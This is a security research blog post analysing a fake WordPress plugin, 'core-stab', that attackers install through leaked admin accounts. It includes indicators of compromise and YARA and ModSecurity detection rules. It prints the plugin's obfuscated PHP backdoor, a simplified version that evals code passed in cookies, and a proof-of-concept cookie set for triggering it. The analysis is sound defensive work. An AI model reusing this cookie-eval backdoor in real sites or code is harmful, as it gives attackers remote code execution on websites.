Fake plugin affecting WordPress sites

Recently our colleague Joshua Goode escalated to the Security Research team an investigation he was performing on several websites that presented the same indicators of compromise. There were small variations in what the final payload was, but the attack timeline was always the same.

Attack timeline

As Joshua initially pointed out and subsequently confirmed by me, the chain starts with the installation of the core-stab plugin followed by other additional items. The following timeline depicts one of the many compromised sites we reviewed:

  •  Jan 10, 2023 @ 17:29:49.587 UTC – Core stab plugin upload – /wp-admin/update.php?action=upload-plugin
  • Jan 10, 2023 @ 17:29:52.270 – /wp-content/plugins/core-stab/index.php
  • Jan 11, 2023 @ 02:12:50.773 – /wp-admin/theme-install.php?tab=upload
  • Jan 11, 2023 @ 02:12:57.862 – Classic theme upload –  /wp-content/themes/classic/inc/index.php
  • Jan 11, 2023 @ 03:37:58.870 – Another core-stab install
  • Jan 11, 2023 @ 04:15:06.014 – Installation of a new plugin, task-controller, /wp-content/plugins/task-controller/index.php
  • Jan 11, 2023 @ 08:23:26.519 – Installation of WP File Manager (Unsure if by attacker but this plugin is typical with a lot of malware)

The most common “coincidence” is that all users involved in this attack had their emails listed on at least one public password leak since 2019, which only corroborates the overall findings: the attacker(s) used compromised or leaked accounts to install the malware.

The malware

This core-stab fake plugin is using an interesting way to execute the malicious code. It used ternary operators to run the code based on the expected conditions, as you can see in the snippet below (the Wpclass class was redacted since it’s too long and doesn’t add much here).

1
2
3
<?php$_l= $_COOKIE;
($_l&& isset($_l[(int)round(Wpclass::_hk(00) + Wpclass::_hk(01) + Wpclass::_hk(02)) ])) ? (($_fu= $_l[(int)round(Wpclass::_hk(03) + Wpclass::_hk(04) + Wpclass::_hk(05) + Wpclass::_hk(06)) ] . $_l[Wpclass::_hk(07) - Wpclass::_hk(010) ]) && ($_wyy= $_fu($_l[Wpclass::_hk(011) + Wpclass::_hk(012) ] . $_l[(int)round(Wpclass::_hk(013) + Wpclass::_hk(014) + Wpclass::_hk(015) + Wpclass::_hk(016) + Wpclass::_hk(017) + Wpclass::_hk(020) + Wpclass::_hk(021) + Wpclass::_hk(022) + Wpclass::_hk(023)) ])) && ($_myp= $_fu($_l[Wpclass::_hk(024) - Wpclass::_hk(025) + Wpclass::_hk(026) - Wpclass::_hk(027) - Wpclass::_hk(030) - Wpclass::_hk(031) + Wpclass::_hk(032) + Wpclass::_hk(033) - Wpclass::_hk(034) ] . $_l[(int)round(Wpclass::_hk(035) + Wpclass::_hk(036) + Wpclass::_hk(037) + Wpclass::_hk(040) + Wpclass::_hk(041) + Wpclass::_hk(042) + Wpclass::_hk(043) + Wpclass::_hk(044)) ])) && ($_myp= $_myp($_fu($_l[(int)round(Wpclass::_hk(045) + Wpclass::_hk(046) + Wpclass::_hk(047) + Wpclass::_hk(050) + Wpclass::_hk(051) + Wpclass::_hk(052)) ]))) && @eval($_myp)) : $_l;

Decoding the malware is not possible since it depends on the value passed by the $_COOKIE. And since the malware is installed as a plugin it will have the capability of checking all the cookies processed by the site. But we can dissect it a bit to understand what’s behind this.

As we get rid of this Wpclass calls to get the array values we can get a clearer view of the code, and I even removed all the unnecessary checks it uses on the ternary operation, as well as unused variables, to make it readable.:

123456<?php$_l= $_COOKIE;$_fu= $_l[91] . $_l[73]; $_myp= $_fu($_l[95] . $_l[32]);$_myp= $_myp($_fu($_l[80]);@eval($_myp);

After simplifying the code we can see that it’s a remote code execution malware, where the final payload can be anything sent in the cookie. As an example I set the needed cookies as following:

91=base64_; 
73=decode;
95=YmFzZTY0X;
32=2RlY29kZQ==; 80=SkdwbGRIQmhZMnM5SWtwbGRIQmhZMnNnY0dGNWJHOWhaQ0IwWlhOMGFXNW5JanNLZG1GeVgyUjFiWEFvSkdwbGRIQmhZMnNwT3c9PQ==;

Which would run the following code via the malware:

$jetpack="Jetpack payload testing";
var_dump($jetpack);
Proof-of-concept worked.

What to do if my site was infected?

If you find this plugin installed on your site the first thing you should do is remove it; the Jetpack blog has additional suggested steps for affected sites and users.

Indicators of compromise

  • IP address that were constantly performing queries to the plugin:
    • 82.223.101.91
    • This IP is listed as running a high number of attack attempts, it seems automated.
  • Cookie containing all the following: 29, 32, 73, 80, 91, 95
  • Fake plugin wp-content/plugins/core-stab/index.php – b73f9101c13969a5daa190daaf326003 (SHA1)
  • Fake plugin wp-content/plugins/task-controller/index.php – aa5089e7d98ee32c490374bd3a3469b8 (SHA1)
  • Compromised Classic theme’s wp-content/themes/classic/index.php – 55e670c0f66ca0ffacecba543cac18a0 (SHA1)
  • Fake plugin with random directory names but it is shown as Mr_Entity WordPress Uploader , identified SHA1 hashes so far:
    • 0039c2ebad11c2aa8784402af0eff629
    • 18e2b08767ff21298b5f80e5690c9d76
    • 2f6e2aef4823e1723c74131b620d627f
    • 5d7ba0089e8dc07417ab340de61e36ee
    • 6cde0c5109394b3f6326874fdcb81fd3
    • 85be246d3320b1a19cd55d6a6f50f044
    • e57d57721bd15a41eeb03635ac6b07ce

Yara and ModSecurity Rules

The following YARA rule can be used to check if the site has been infected:

rule fakeplugin_corestab {
meta:
    description = "Jetpack has detected a fake malicious plugin allows attackers to execute remote code on affected websites."
    author = "Fioravante Souza"
strings:
    $ioc_comment_Plugin_Name = "Plugin Name: Core Stab" nocase
    $ioc_ternary_eval_cookie = /\$\w+\s*=\s*\$_COOKIE;/
    $ioc_ternary_eval_start = /^\(\$\w+\s*&&\s*isset\(\$\w+\[\(int\)round\(\w+::\w+\(\d+/ nocase
    $ioc_ternary_eval_end = /\)\s*&&\s*@?eval\s*\(\s*\$\w+\s*\)\s*\s*\)\s*:/ nocase
condition:
    $ioc_comment_Plugin_Name or
    all of ($ioc_ternary_eval*)
} 

ModSecurity rules can be used to block requests containing this cookie:

# 99110012 Block requests to the corestab file.
# This rule will block any request directly made to the core-stab files, I found some different versions of index.php, that's why the .* in there

SecRule REQUEST_FILENAME "\/wp-content\/plugins\/core-stab\/index.*\.php$" "id:99110012, deny, phase:1, log, msg:'core-stab fake plugin direct access blocked'"

# 99110013
# A common type of shell passes remote commands in cookies with numeric names.
# This is a general rule to detect these typical cookie shells. It will detect any request
# with five or more cookies with numeric names.

SecRule &REQUEST_COOKIES_NAMES:/^\d+$/ "@ge 5" "id:99110013, deny, phase:1,log, msg:'request for cookie based shell found and blocked'"

Leave a Reply